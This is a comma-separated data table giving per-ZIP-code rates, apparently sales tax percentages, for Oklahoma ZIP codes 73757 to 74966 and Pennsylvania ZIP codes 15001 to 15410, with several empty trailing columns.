US-OK-73757,US,OK,73757,6,,,, US-OK-73758,US,OK,73758,5.75,,,, US-OK-73759,US,OK,73759,9.75,,,, US-OK-73760,US,OK,73760,7.75,,,, US-OK-73761,US,OK,73761,8.75,,,, US-OK-73762,US,OK,73762,4.85,,,, US-OK-73763,US,OK,73763,9.5,,,, US-OK-73764,US,OK,73764,5.25,,,, US-OK-73766,US,OK,73766,9.75,,,, US-OK-73768,US,OK,73768,7.75,,,, US-OK-73770,US,OK,73770,5.25,,,, US-OK-73771,US,OK,73771,9.75,,,, US-OK-73772,US,OK,73772,10.25,,,, US-OK-73773,US,OK,73773,8.85,,,, US-OK-73801,US,OK,73801,9.325,,,, US-OK-73802,US,OK,73802,9.325,,,, US-OK-73832,US,OK,73832,9.5,,,, US-OK-73834,US,OK,73834,9.5,,,, US-OK-73835,US,OK,73835,10.25,,,, US-OK-73838,US,OK,73838,4.75,,,, US-OK-73840,US,OK,73840,9.5,,,, US-OK-73841,US,OK,73841,8.825,,,, US-OK-73842,US,OK,73842,7,,,, US-OK-73843,US,OK,73843,9.5,,,, US-OK-73844,US,OK,73844,6.5,,,, US-OK-73848,US,OK,73848,8.75,,,, US-OK-73851,US,OK,73851,6.5,,,, US-OK-73852,US,OK,73852,8.825,,,, US-OK-73853,US,OK,73853,5.825,,,, US-OK-73855,US,OK,73855,6.5,,,, US-OK-73857,US,OK,73857,5.825,,,, US-OK-73858,US,OK,73858,9.5,,,, US-OK-73859,US,OK,73859,9.25,,,, US-OK-73860,US,OK,73860,9,,,, US-OK-73901,US,OK,73901,5.5,,,, US-OK-73931,US,OK,73931,6.5,,,, US-OK-73932,US,OK,73932,8.5,,,, US-OK-73933,US,OK,73933,9.5,,,, US-OK-73937,US,OK,73937,6.5,,,, US-OK-73938,US,OK,73938,9.5,,,, US-OK-73939,US,OK,73939,8.5,,,, US-OK-73942,US,OK,73942,9.5,,,, US-OK-73944,US,OK,73944,9.5,,,, US-OK-73945,US,OK,73945,9.5,,,, US-OK-73946,US,OK,73946,6.5,,,, US-OK-73947,US,OK,73947,8.5,,,, US-OK-73949,US,OK,73949,8.5,,,, US-OK-73950,US,OK,73950,6.5,,,, US-OK-73951,US,OK,73951,8.5,,,, US-OK-74001,US,OK,74001,7.75,,,, US-OK-74002,US,OK,74002,5.75,,,, US-OK-74003,US,OK,74003,8.5,,,, US-OK-74004,US,OK,74004,8.5,,,, US-OK-74005,US,OK,74005,8.5,,,, US-OK-74006,US,OK,74006,8.5,,,, US-OK-74008,US,OK,74008,8.85,,,, US-OK-74010,US,OK,74010,5.5,,,, US-OK-74011,US,OK,74011,8.35,,,, US-OK-74012,US,OK,74012,8.35,,,, US-OK-74013,US,OK,74013,8.35,,,, US-OK-74014,US,OK,74014,5.8,,,, US-OK-74015,US,OK,74015,9.583,,,, US-OK-74016,US,OK,74016,6.333,,,, US-OK-74017,US,OK,74017,9.333,,,, US-OK-74018,US,OK,74018,9.333,,,, US-OK-74019,US,OK,74019,6.333,,,, US-OK-74020,US,OK,74020,10,,,, US-OK-74021,US,OK,74021,9.1,,,, US-OK-74022,US,OK,74022,5.5,,,, US-OK-74023,US,OK,74023,9.313,,,, US-OK-74026,US,OK,74026,9.5,,,, US-OK-74027,US,OK,74027,8.5,,,, US-OK-74028,US,OK,74028,5.5,,,, US-OK-74029,US,OK,74029,8.5,,,, US-OK-74030,US,OK,74030,10,,,, US-OK-74031,US,OK,74031,10.333,,,, US-OK-74032,US,OK,74032,5.313,,,, US-OK-74033,US,OK,74033,9.35,,,, US-OK-74034,US,OK,74034,11,,,, US-OK-74035,US,OK,74035,9.25,,,, US-OK-74036,US,OK,74036,6.333,,,, US-OK-74037,US,OK,74037,8.35,,,, US-OK-74038,US,OK,74038,6.5,,,, US-OK-74039,US,OK,74039,5.5,,,, US-OK-74041,US,OK,74041,9.5,,,, US-OK-74042,US,OK,74042,8.5,,,, US-OK-74043,US,OK,74043,5.35,,,, US-OK-74044,US,OK,74044,5.5,,,, US-OK-74045,US,OK,74045,6.5,,,, US-OK-74046,US,OK,74046,5.5,,,, US-OK-74047,US,OK,74047,5.75,,,, US-OK-74048,US,OK,74048,9.5,,,, US-OK-74050,US,OK,74050,5.35,,,, US-OK-74051,US,OK,74051,5.5,,,, US-OK-74052,US,OK,74052,10.5,,,, US-OK-74053,US,OK,74053,6.333,,,, US-OK-74054,US,OK,74054,5.75,,,, US-OK-74055,US,OK,74055,8.35,,,, US-OK-74056,US,OK,74056,8.75,,,, US-OK-74058,US,OK,74058,6.5,,,, US-OK-74059,US,OK,74059,5.313,,,, US-OK-74060,US,OK,74060,8.75,,,, US-OK-74061,US,OK,74061,5.5,,,, US-OK-74062,US,OK,74062,5.313,,,, US-OK-74063,US,OK,74063,8.85,,,, US-OK-74066,US,OK,74066,9.5,,,, US-OK-74067,US,OK,74067,9.5,,,, US-OK-74068,US,OK,74068,8.5,,,, US-OK-74070,US,OK,74070,5.75,,,, US-OK-74071,US,OK,74071,8.5,,,, US-OK-74072,US,OK,74072,8.5,,,, US-OK-74073,US,OK,74073,5.75,,,, US-OK-74074,US,OK,74074,8.813,,,, US-OK-74075,US,OK,74075,8.813,,,, US-OK-74076,US,OK,74076,8.813,,,, US-OK-74077,US,OK,74077,8.813,,,, US-OK-74078,US,OK,74078,8.813,,,, US-OK-74079,US,OK,74079,9.5,,,, US-OK-74080,US,OK,74080,6.333,,,, US-OK-74081,US,OK,74081,6.5,,,, US-OK-74082,US,OK,74082,7.5,,,, US-OK-74083,US,OK,74083,8.5,,,, US-OK-74084,US,OK,74084,9.75,,,, US-OK-74085,US,OK,74085,5.313,,,, US-OK-74101,US,OK,74101,8.517,,,, US-OK-74102,US,OK,74102,8.517,,,, US-OK-74103,US,OK,74103,8.517,,,, US-OK-74104,US,OK,74104,8.517,,,, US-OK-74105,US,OK,74105,8.517,,,, US-OK-74106,US,OK,74106,8.517,,,, US-OK-74107,US,OK,74107,8.517,,,, US-OK-74108,US,OK,74108,8.517,,,, US-OK-74110,US,OK,74110,8.517,,,, US-OK-74112,US,OK,74112,8.517,,,, US-OK-74114,US,OK,74114,8.517,,,, US-OK-74115,US,OK,74115,8.517,,,, US-OK-74116,US,OK,74116,8.517,,,, US-OK-74117,US,OK,74117,5.35,,,, US-OK-74119,US,OK,74119,8.517,,,, US-OK-74120,US,OK,74120,8.517,,,, US-OK-74121,US,OK,74121,8.517,,,, US-OK-74126,US,OK,74126,8.517,,,, US-OK-74127,US,OK,74127,8.517,,,, US-OK-74128,US,OK,74128,8.517,,,, US-OK-74129,US,OK,74129,8.517,,,, US-OK-74130,US,OK,74130,5.35,,,, US-OK-74131,US,OK,74131,5.5,,,, US-OK-74132,US,OK,74132,8.517,,,, US-OK-74133,US,OK,74133,8.517,,,, US-OK-74134,US,OK,74134,8.517,,,, US-OK-74135,US,OK,74135,8.517,,,, US-OK-74136,US,OK,74136,8.517,,,, US-OK-74137,US,OK,74137,8.517,,,, US-OK-74141,US,OK,74141,8.517,,,, US-OK-74145,US,OK,74145,8.517,,,, US-OK-74146,US,OK,74146,8.517,,,, US-OK-74147,US,OK,74147,8.517,,,, US-OK-74148,US,OK,74148,8.517,,,, US-OK-74149,US,OK,74149,8.517,,,, US-OK-74150,US,OK,74150,8.517,,,, US-OK-74152,US,OK,74152,8.517,,,, US-OK-74153,US,OK,74153,8.517,,,, US-OK-74155,US,OK,74155,8.517,,,, US-OK-74156,US,OK,74156,8.517,,,, US-OK-74157,US,OK,74157,8.517,,,, US-OK-74158,US,OK,74158,8.517,,,, US-OK-74159,US,OK,74159,8.517,,,, US-OK-74169,US,OK,74169,8.517,,,, US-OK-74170,US,OK,74170,8.517,,,, US-OK-74171,US,OK,74171,8.517,,,, US-OK-74172,US,OK,74172,8.517,,,, US-OK-74182,US,OK,74182,8.517,,,, US-OK-74186,US,OK,74186,8.517,,,, US-OK-74187,US,OK,74187,8.517,,,, US-OK-74192,US,OK,74192,8.517,,,, US-OK-74193,US,OK,74193,8.517,,,, US-OK-74301,US,OK,74301,6.5,,,, US-OK-74330,US,OK,74330,5.875,,,, US-OK-74331,US,OK,74331,5.9,,,, US-OK-74332,US,OK,74332,6.5,,,, US-OK-74333,US,OK,74333,6.5,,,, US-OK-74335,US,OK,74335,5.85,,,, US-OK-74337,US,OK,74337,5.875,,,, US-OK-74338,US,OK,74338,5.9,,,, US-OK-74339,US,OK,74339,8.85,,,, US-OK-74340,US,OK,74340,9.75,,,, US-OK-74342,US,OK,74342,5.9,,,, US-OK-74343,US,OK,74343,5.85,,,, US-OK-74344,US,OK,74344,5.9,,,, US-OK-74345,US,OK,74345,9.3,,,, US-OK-74346,US,OK,74346,5.9,,,, US-OK-74347,US,OK,74347,5.9,,,, US-OK-74349,US,OK,74349,9.5,,,, US-OK-74350,US,OK,74350,8.875,,,, US-OK-74352,US,OK,74352,5.875,,,, US-OK-74354,US,OK,74354,9.5,,,, US-OK-74355,US,OK,74355,9.5,,,, US-OK-74358,US,OK,74358,8.85,,,, US-OK-74359,US,OK,74359,8.9,,,, US-OK-74360,US,OK,74360,10.85,,,, US-OK-74361,US,OK,74361,5.875,,,, US-OK-74362,US,OK,74362,9.625,,,, US-OK-74363,US,OK,74363,5.85,,,, US-OK-74364,US,OK,74364,5.9,,,, US-OK-74365,US,OK,74365,5.875,,,, US-OK-74366,US,OK,74366,5.875,,,, US-OK-74367,US,OK,74367,5.875,,,, US-OK-74368,US,OK,74368,5.9,,,, US-OK-74369,US,OK,74369,6.5,,,, US-OK-74370,US,OK,74370,5.85,,,, US-OK-74401,US,OK,74401,9.15,,,, US-OK-74402,US,OK,74402,9.15,,,, US-OK-74403,US,OK,74403,9.15,,,, US-OK-74421,US,OK,74421,5.75,,,, US-OK-74422,US,OK,74422,5.75,,,, US-OK-74423,US,OK,74423,8.15,,,, US-OK-74425,US,OK,74425,5.5,,,, US-OK-74426,US,OK,74426,10.5,,,, US-OK-74427,US,OK,74427,6.25,,,, US-OK-74428,US,OK,74428,7.15,,,, US-OK-74429,US,OK,74429,5.8,,,, US-OK-74430,US,OK,74430,9.5,,,, US-OK-74431,US,OK,74431,9.75,,,, US-OK-74432,US,OK,74432,10,,,, US-OK-74434,US,OK,74434,6.25,,,, US-OK-74435,US,OK,74435,8.917,,,, US-OK-74436,US,OK,74436,9.5,,,, US-OK-74437,US,OK,74437,9.75,,,, US-OK-74438,US,OK,74438,6.5,,,, US-OK-74439,US,OK,74439,8.15,,,, US-OK-74440,US,OK,74440,9.25,,,, US-OK-74441,US,OK,74441,6.25,,,, US-OK-74442,US,OK,74442,5.5,,,, US-OK-74444,US,OK,74444,6.25,,,, US-OK-74445,US,OK,74445,5.75,,,, US-OK-74446,US,OK,74446,9.8,,,, US-OK-74447,US,OK,74447,9.75,,,, US-OK-74450,US,OK,74450,5.15,,,, US-OK-74451,US,OK,74451,6.25,,,, US-OK-74452,US,OK,74452,6.25,,,, US-OK-74454,US,OK,74454,5.8,,,, US-OK-74455,US,OK,74455,9.15,,,, US-OK-74456,US,OK,74456,5.75,,,, US-OK-74457,US,OK,74457,6.25,,,, US-OK-74458,US,OK,74458,5.8,,,, US-OK-74459,US,OK,74459,10.5,,,, US-OK-74460,US,OK,74460,6.25,,,, US-OK-74461,US,OK,74461,6.5,,,, US-OK-74462,US,OK,74462,9.25,,,, US-OK-74463,US,OK,74463,9.15,,,, US-OK-74464,US,OK,74464,9.5,,,, US-OK-74465,US,OK,74465,9.5,,,, US-OK-74467,US,OK,74467,8.8,,,, US-OK-74468,US,OK,74468,9.15,,,, US-OK-74469,US,OK,74469,9.15,,,, US-OK-74470,US,OK,74470,8.65,,,, US-OK-74471,US,OK,74471,6.25,,,, US-OK-74472,US,OK,74472,9.25,,,, US-OK-74477,US,OK,74477,8.8,,,, US-OK-74501,US,OK,74501,9,,,, US-OK-74502,US,OK,74502,9.5,,,, US-OK-74521,US,OK,74521,6.5,,,, US-OK-74522,US,OK,74522,7.5,,,, US-OK-74523,US,OK,74523,9.5,,,, US-OK-74525,US,OK,74525,9.5,,,, US-OK-74528,US,OK,74528,5.5,,,, US-OK-74529,US,OK,74529,5.5,,,, US-OK-74530,US,OK,74530,6,,,, US-OK-74531,US,OK,74531,4.75,,,, US-OK-74533,US,OK,74533,6.5,,,, US-OK-74534,US,OK,74534,6.5,,,, US-OK-74535,US,OK,74535,6.5,,,, US-OK-74536,US,OK,74536,10.5,,,, US-OK-74538,US,OK,74538,9.5,,,, US-OK-74540,US,OK,74540,6.5,,,, US-OK-74543,US,OK,74543,6.5,,,, US-OK-74545,US,OK,74545,6,,,, US-OK-74546,US,OK,74546,8.5,,,, US-OK-74547,US,OK,74547,8.75,,,, US-OK-74549,US,OK,74549,6,,,, US-OK-74552,US,OK,74552,6.25,,,, US-OK-74553,US,OK,74553,8.5,,,, US-OK-74554,US,OK,74554,9.5,,,, US-OK-74555,US,OK,74555,6.5,,,, US-OK-74556,US,OK,74556,8.5,,,, US-OK-74557,US,OK,74557,6.5,,,, US-OK-74558,US,OK,74558,6.5,,,, US-OK-74559,US,OK,74559,6,,,, US-OK-74560,US,OK,74560,5.5,,,, US-OK-74561,US,OK,74561,5.5,,,, US-OK-74562,US,OK,74562,8.5,,,, US-OK-74563,US,OK,74563,6,,,, US-OK-74565,US,OK,74565,10.5,,,, US-OK-74567,US,OK,74567,6.5,,,, US-OK-74569,US,OK,74569,6.5,,,, US-OK-74570,US,OK,74570,5.5,,,, US-OK-74571,US,OK,74571,9,,,, US-OK-74572,US,OK,74572,9.5,,,, US-OK-74574,US,OK,74574,6,,,, US-OK-74576,US,OK,74576,5.5,,,, US-OK-74577,US,OK,74577,6,,,, US-OK-74578,US,OK,74578,6,,,, US-OK-74601,US,OK,74601,8.667,,,, US-OK-74602,US,OK,74602,8.667,,,, US-OK-74604,US,OK,74604,5.75,,,, US-OK-74630,US,OK,74630,6,,,, US-OK-74631,US,OK,74631,9.167,,,, US-OK-74632,US,OK,74632,5.167,,,, US-OK-74633,US,OK,74633,5.75,,,, US-OK-74636,US,OK,74636,8.75,,,, US-OK-74637,US,OK,74637,8.75,,,, US-OK-74640,US,OK,74640,4.85,,,, US-OK-74641,US,OK,74641,5.167,,,, US-OK-74643,US,OK,74643,9.75,,,, US-OK-74644,US,OK,74644,6,,,, US-OK-74646,US,OK,74646,5.167,,,, US-OK-74647,US,OK,74647,5.167,,,, US-OK-74650,US,OK,74650,9.5,,,, US-OK-74651,US,OK,74651,6,,,, US-OK-74652,US,OK,74652,5.75,,,, US-OK-74653,US,OK,74653,9.667,,,, US-OK-74701,US,OK,74701,9.375,,,, US-OK-74702,US,OK,74702,9.375,,,, US-OK-74720,US,OK,74720,8,,,, US-OK-74721,US,OK,74721,5,,,, US-OK-74722,US,OK,74722,6,,,, US-OK-74723,US,OK,74723,5,,,, US-OK-74724,US,OK,74724,9.5,,,, US-OK-74726,US,OK,74726,5,,,, US-OK-74727,US,OK,74727,9.5,,,, US-OK-74728,US,OK,74728,8.25,,,, US-OK-74729,US,OK,74729,5,,,, US-OK-74730,US,OK,74730,5,,,, US-OK-74731,US,OK,74731,5,,,, US-OK-74733,US,OK,74733,5,,,, US-OK-74734,US,OK,74734,6,,,, US-OK-74735,US,OK,74735,10,,,, US-OK-74736,US,OK,74736,6,,,, US-OK-74737,US,OK,74737,6,,,, US-OK-74738,US,OK,74738,6.5,,,, US-OK-74740,US,OK,74740,9.5,,,, US-OK-74741,US,OK,74741,5,,,, US-OK-74743,US,OK,74743,10,,,, US-OK-74745,US,OK,74745,9,,,, US-OK-74747,US,OK,74747,5,,,, US-OK-74748,US,OK,74748,6,,,, US-OK-74750,US,OK,74750,9,,,, US-OK-74752,US,OK,74752,6,,,, US-OK-74753,US,OK,74753,5,,,, US-OK-74754,US,OK,74754,6,,,, US-OK-74755,US,OK,74755,6,,,, US-OK-74756,US,OK,74756,7.5,,,, US-OK-74759,US,OK,74759,8.5,,,, US-OK-74760,US,OK,74760,6.5,,,, US-OK-74761,US,OK,74761,6.5,,,, US-OK-74764,US,OK,74764,9,,,, US-OK-74766,US,OK,74766,9,,,, US-OK-74801,US,OK,74801,8.5,,,, US-OK-74802,US,OK,74802,8.5,,,, US-OK-74804,US,OK,74804,8.5,,,, US-OK-74818,US,OK,74818,9.75,,,, US-OK-74820,US,OK,74820,9.375,,,, US-OK-74821,US,OK,74821,9.375,,,, US-OK-74824,US,OK,74824,5.5,,,, US-OK-74825,US,OK,74825,8.375,,,, US-OK-74826,US,OK,74826,5.5,,,, US-OK-74827,US,OK,74827,4.75,,,, US-OK-74829,US,OK,74829,8.75,,,, US-OK-74830,US,OK,74830,8.75,,,, US-OK-74831,US,OK,74831,5,,,, US-OK-74832,US,OK,74832,9.5,,,, US-OK-74833,US,OK,74833,7.75,,,, US-OK-74834,US,OK,74834,5.5,,,, US-OK-74836,US,OK,74836,6,,,, US-OK-74837,US,OK,74837,8.75,,,, US-OK-74839,US,OK,74839,4.75,,,, US-OK-74840,US,OK,74840,5.5,,,, US-OK-74842,US,OK,74842,5.375,,,, US-OK-74843,US,OK,74843,5.375,,,, US-OK-74844,US,OK,74844,8.375,,,, US-OK-74845,US,OK,74845,10.5,,,, US-OK-74848,US,OK,74848,9.75,,,, US-OK-74849,US,OK,74849,9.75,,,, US-OK-74850,US,OK,74850,7.75,,,, US-OK-74851,US,OK,74851,9.5,,,, US-OK-74852,US,OK,74852,5.5,,,, US-OK-74854,US,OK,74854,9.5,,,, US-OK-74855,US,OK,74855,5.5,,,, US-OK-74856,US,OK,74856,6,,,, US-OK-74857,US,OK,74857,8.625,,,, US-OK-74859,US,OK,74859,9.25,,,, US-OK-74860,US,OK,74860,5.75,,,, US-OK-74864,US,OK,74864,9.5,,,, US-OK-74865,US,OK,74865,5.375,,,, US-OK-74866,US,OK,74866,5.5,,,, US-OK-74867,US,OK,74867,5.75,,,, US-OK-74868,US,OK,74868,9.75,,,, US-OK-74869,US,OK,74869,5.5,,,, US-OK-74871,US,OK,74871,5.375,,,, US-OK-74872,US,OK,74872,9.25,,,, US-OK-74873,US,OK,74873,8.5,,,, US-OK-74875,US,OK,74875,5.5,,,, US-OK-74878,US,OK,74878,5.5,,,, US-OK-74880,US,OK,74880,5.75,,,, US-OK-74881,US,OK,74881,5.5,,,, US-OK-74883,US,OK,74883,9.75,,,, US-OK-74884,US,OK,74884,9.75,,,, US-OK-74901,US,OK,74901,9,,,, US-OK-74902,US,OK,74902,9,,,, US-OK-74930,US,OK,74930,6,,,, US-OK-74931,US,OK,74931,6.25,,,, US-OK-74932,US,OK,74932,6,,,, US-OK-74935,US,OK,74935,9,,,, US-OK-74936,US,OK,74936,7.917,,,, US-OK-74937,US,OK,74937,6,,,, US-OK-74939,US,OK,74939,6,,,, US-OK-74940,US,OK,74940,6,,,, US-OK-74941,US,OK,74941,6.25,,,, US-OK-74942,US,OK,74942,7,,,, US-OK-74943,US,OK,74943,6.25,,,, US-OK-74944,US,OK,74944,6.25,,,, US-OK-74945,US,OK,74945,8.917,,,, US-OK-74946,US,OK,74946,7.917,,,, US-OK-74947,US,OK,74947,6,,,, US-OK-74948,US,OK,74948,5.917,,,, US-OK-74949,US,OK,74949,6,,,, US-OK-74951,US,OK,74951,9,,,, US-OK-74953,US,OK,74953,9,,,, US-OK-74954,US,OK,74954,9.917,,,, US-OK-74955,US,OK,74955,9.917,,,, US-OK-74956,US,OK,74956,9.5,,,, US-OK-74957,US,OK,74957,6,,,, US-OK-74959,US,OK,74959,6,,,, US-OK-74960,US,OK,74960,8.75,,,, US-OK-74962,US,OK,74962,9.917,,,, US-OK-74963,US,OK,74963,6,,,, US-OK-74964,US,OK,74964,9.25,,,, US-OK-74965,US,OK,74965,9,,,, US-OK-74966,US,OK,74966,6,,,, US-PA-15001,US,PA,15001,6,,,, US-PA-15003,US,PA,15003,6,,,, US-PA-15004,US,PA,15004,6,,,, US-PA-15005,US,PA,15005,6,,,, US-PA-15006,US,PA,15006,7,,,, US-PA-15007,US,PA,15007,7,,,, US-PA-15009,US,PA,15009,6,,,, US-PA-15010,US,PA,15010,6,,,, US-PA-15012,US,PA,15012,6,,,, US-PA-15014,US,PA,15014,7,,,, US-PA-15015,US,PA,15015,7,,,, US-PA-15017,US,PA,15017,7,,,, US-PA-15018,US,PA,15018,7,,,, US-PA-15019,US,PA,15019,6,,,, US-PA-15020,US,PA,15020,7,,,, US-PA-15021,US,PA,15021,6,,,, US-PA-15022,US,PA,15022,6,,,, US-PA-15024,US,PA,15024,7,,,, US-PA-15025,US,PA,15025,7,,,, US-PA-15026,US,PA,15026,6,,,, US-PA-15027,US,PA,15027,6,,,, US-PA-15028,US,PA,15028,7,,,, US-PA-15030,US,PA,15030,7,,,, US-PA-15031,US,PA,15031,7,,,, US-PA-15032,US,PA,15032,7,,,, US-PA-15033,US,PA,15033,6,,,, US-PA-15034,US,PA,15034,7,,,, US-PA-15035,US,PA,15035,7,,,, US-PA-15037,US,PA,15037,7,,,, US-PA-15038,US,PA,15038,6,,,, US-PA-15042,US,PA,15042,6,,,, US-PA-15043,US,PA,15043,6,,,, US-PA-15044,US,PA,15044,7,,,, US-PA-15045,US,PA,15045,7,,,, US-PA-15046,US,PA,15046,7,,,, US-PA-15047,US,PA,15047,7,,,, US-PA-15049,US,PA,15049,7,,,, US-PA-15050,US,PA,15050,6,,,, US-PA-15051,US,PA,15051,7,,,, US-PA-15052,US,PA,15052,6,,,, US-PA-15053,US,PA,15053,6,,,, US-PA-15054,US,PA,15054,6,,,, US-PA-15055,US,PA,15055,6,,,, US-PA-15056,US,PA,15056,7,,,, US-PA-15057,US,PA,15057,6,,,, US-PA-15059,US,PA,15059,6,,,, US-PA-15060,US,PA,15060,6,,,, US-PA-15061,US,PA,15061,6,,,, US-PA-15062,US,PA,15062,6,,,, US-PA-15063,US,PA,15063,6,,,, US-PA-15064,US,PA,15064,7,,,, US-PA-15065,US,PA,15065,7,,,, US-PA-15066,US,PA,15066,6,,,, US-PA-15067,US,PA,15067,6,,,, US-PA-15068,US,PA,15068,6,,,, US-PA-15069,US,PA,15069,6,,,, US-PA-15071,US,PA,15071,7,,,, US-PA-15074,US,PA,15074,6,,,, US-PA-15075,US,PA,15075,7,,,, US-PA-15076,US,PA,15076,7,,,, US-PA-15077,US,PA,15077,6,,,, US-PA-15078,US,PA,15078,6,,,, US-PA-15081,US,PA,15081,6,,,, US-PA-15082,US,PA,15082,7,,,, US-PA-15083,US,PA,15083,6,,,, US-PA-15084,US,PA,15084,7,,,, US-PA-15085,US,PA,15085,6,,,, US-PA-15086,US,PA,15086,7,,,, US-PA-15087,US,PA,15087,6,,,, US-PA-15088,US,PA,15088,7,,,, US-PA-15089,US,PA,15089,6,,,, US-PA-15090,US,PA,15090,7,,,, US-PA-15091,US,PA,15091,7,,,, US-PA-15095,US,PA,15095,7,,,, US-PA-15096,US,PA,15096,7,,,, US-PA-15101,US,PA,15101,7,,,, US-PA-15102,US,PA,15102,7,,,, US-PA-15104,US,PA,15104,7,,,, US-PA-15106,US,PA,15106,7,,,, US-PA-15108,US,PA,15108,7,,,, US-PA-15110,US,PA,15110,7,,,, US-PA-15112,US,PA,15112,7,,,, US-PA-15116,US,PA,15116,7,,,, US-PA-15120,US,PA,15120,7,,,, US-PA-15122,US,PA,15122,7,,,, US-PA-15123,US,PA,15123,7,,,, US-PA-15126,US,PA,15126,7,,,, US-PA-15127,US,PA,15127,7,,,, US-PA-15129,US,PA,15129,7,,,, US-PA-15131,US,PA,15131,7,,,, US-PA-15132,US,PA,15132,7,,,, US-PA-15133,US,PA,15133,7,,,, US-PA-15134,US,PA,15134,7,,,, US-PA-15135,US,PA,15135,7,,,, US-PA-15136,US,PA,15136,7,,,, US-PA-15137,US,PA,15137,7,,,, US-PA-15139,US,PA,15139,7,,,, US-PA-15140,US,PA,15140,7,,,, US-PA-15142,US,PA,15142,7,,,, US-PA-15143,US,PA,15143,7,,,, US-PA-15144,US,PA,15144,7,,,, US-PA-15145,US,PA,15145,7,,,, US-PA-15146,US,PA,15146,7,,,, US-PA-15147,US,PA,15147,7,,,, US-PA-15148,US,PA,15148,7,,,, US-PA-15201,US,PA,15201,7,,,, US-PA-15202,US,PA,15202,7,,,, US-PA-15203,US,PA,15203,7,,,, US-PA-15204,US,PA,15204,7,,,, US-PA-15205,US,PA,15205,7,,,, US-PA-15206,US,PA,15206,7,,,, US-PA-15207,US,PA,15207,7,,,, US-PA-15208,US,PA,15208,7,,,, US-PA-15209,US,PA,15209,7,,,, US-PA-15210,US,PA,15210,7,,,, US-PA-15211,US,PA,15211,7,,,, US-PA-15212,US,PA,15212,7,,,, US-PA-15213,US,PA,15213,7,,,, US-PA-15214,US,PA,15214,7,,,, US-PA-15215,US,PA,15215,7,,,, US-PA-15216,US,PA,15216,7,,,, US-PA-15217,US,PA,15217,7,,,, US-PA-15218,US,PA,15218,7,,,, US-PA-15219,US,PA,15219,7,,,, US-PA-15220,US,PA,15220,7,,,, US-PA-15221,US,PA,15221,7,,,, US-PA-15222,US,PA,15222,7,,,, US-PA-15223,US,PA,15223,7,,,, US-PA-15224,US,PA,15224,7,,,, US-PA-15225,US,PA,15225,7,,,, US-PA-15226,US,PA,15226,7,,,, US-PA-15227,US,PA,15227,7,,,, US-PA-15228,US,PA,15228,7,,,, US-PA-15229,US,PA,15229,7,,,, US-PA-15230,US,PA,15230,7,,,, US-PA-15231,US,PA,15231,7,,,, US-PA-15232,US,PA,15232,7,,,, US-PA-15233,US,PA,15233,7,,,, US-PA-15234,US,PA,15234,7,,,, US-PA-15235,US,PA,15235,7,,,, US-PA-15236,US,PA,15236,7,,,, US-PA-15237,US,PA,15237,7,,,, US-PA-15238,US,PA,15238,7,,,, US-PA-15239,US,PA,15239,7,,,, US-PA-15240,US,PA,15240,7,,,, US-PA-15241,US,PA,15241,7,,,, US-PA-15242,US,PA,15242,7,,,, US-PA-15243,US,PA,15243,7,,,, US-PA-15244,US,PA,15244,7,,,, US-PA-15250,US,PA,15250,7,,,, US-PA-15251,US,PA,15251,7,,,, US-PA-15252,US,PA,15252,7,,,, US-PA-15253,US,PA,15253,7,,,, US-PA-15254,US,PA,15254,7,,,, US-PA-15255,US,PA,15255,7,,,, US-PA-15257,US,PA,15257,7,,,, US-PA-15258,US,PA,15258,7,,,, US-PA-15259,US,PA,15259,7,,,, US-PA-15260,US,PA,15260,7,,,, US-PA-15261,US,PA,15261,7,,,, US-PA-15262,US,PA,15262,7,,,, US-PA-15264,US,PA,15264,7,,,, US-PA-15265,US,PA,15265,7,,,, US-PA-15267,US,PA,15267,7,,,, US-PA-15268,US,PA,15268,7,,,, US-PA-15270,US,PA,15270,7,,,, US-PA-15272,US,PA,15272,7,,,, US-PA-15274,US,PA,15274,7,,,, US-PA-15275,US,PA,15275,7,,,, US-PA-15276,US,PA,15276,7,,,, US-PA-15277,US,PA,15277,7,,,, US-PA-15278,US,PA,15278,7,,,, US-PA-15279,US,PA,15279,7,,,, US-PA-15281,US,PA,15281,7,,,, US-PA-15282,US,PA,15282,7,,,, US-PA-15283,US,PA,15283,7,,,, US-PA-15286,US,PA,15286,7,,,, US-PA-15289,US,PA,15289,7,,,, US-PA-15290,US,PA,15290,7,,,, US-PA-15295,US,PA,15295,7,,,, US-PA-15301,US,PA,15301,6,,,, US-PA-15310,US,PA,15310,6,,,, US-PA-15311,US,PA,15311,6,,,, US-PA-15312,US,PA,15312,6,,,, US-PA-15313,US,PA,15313,6,,,, US-PA-15314,US,PA,15314,6,,,, US-PA-15315,US,PA,15315,6,,,, US-PA-15316,US,PA,15316,6,,,, US-PA-15317,US,PA,15317,6,,,, US-PA-15320,US,PA,15320,6,,,, US-PA-15321,US,PA,15321,6,,,, US-PA-15322,US,PA,15322,6,,,, US-PA-15323,US,PA,15323,6,,,, US-PA-15324,US,PA,15324,6,,,, US-PA-15325,US,PA,15325,6,,,, US-PA-15327,US,PA,15327,6,,,, US-PA-15329,US,PA,15329,6,,,, US-PA-15330,US,PA,15330,6,,,, US-PA-15331,US,PA,15331,6,,,, US-PA-15332,US,PA,15332,6,,,, US-PA-15333,US,PA,15333,6,,,, US-PA-15334,US,PA,15334,6,,,, US-PA-15336,US,PA,15336,6,,,, US-PA-15337,US,PA,15337,6,,,, US-PA-15338,US,PA,15338,6,,,, US-PA-15339,US,PA,15339,6,,,, US-PA-15340,US,PA,15340,6,,,, US-PA-15341,US,PA,15341,6,,,, US-PA-15342,US,PA,15342,6,,,, US-PA-15344,US,PA,15344,6,,,, US-PA-15345,US,PA,15345,6,,,, US-PA-15346,US,PA,15346,6,,,, US-PA-15347,US,PA,15347,6,,,, US-PA-15348,US,PA,15348,6,,,, US-PA-15349,US,PA,15349,6,,,, US-PA-15350,US,PA,15350,6,,,, US-PA-15351,US,PA,15351,6,,,, US-PA-15352,US,PA,15352,6,,,, US-PA-15353,US,PA,15353,6,,,, US-PA-15357,US,PA,15357,6,,,, US-PA-15358,US,PA,15358,6,,,, US-PA-15359,US,PA,15359,6,,,, US-PA-15360,US,PA,15360,6,,,, US-PA-15361,US,PA,15361,6,,,, US-PA-15362,US,PA,15362,6,,,, US-PA-15363,US,PA,15363,6,,,, US-PA-15364,US,PA,15364,6,,,, US-PA-15365,US,PA,15365,6,,,, US-PA-15366,US,PA,15366,6,,,, US-PA-15367,US,PA,15367,6,,,, US-PA-15368,US,PA,15368,6,,,, US-PA-15370,US,PA,15370,6,,,, US-PA-15376,US,PA,15376,6,,,, US-PA-15377,US,PA,15377,6,,,, US-PA-15378,US,PA,15378,6,,,, US-PA-15379,US,PA,15379,6,,,, US-PA-15380,US,PA,15380,6,,,, US-PA-15401,US,PA,15401,6,,,, US-PA-15410,US,PA,15410,6,,,, 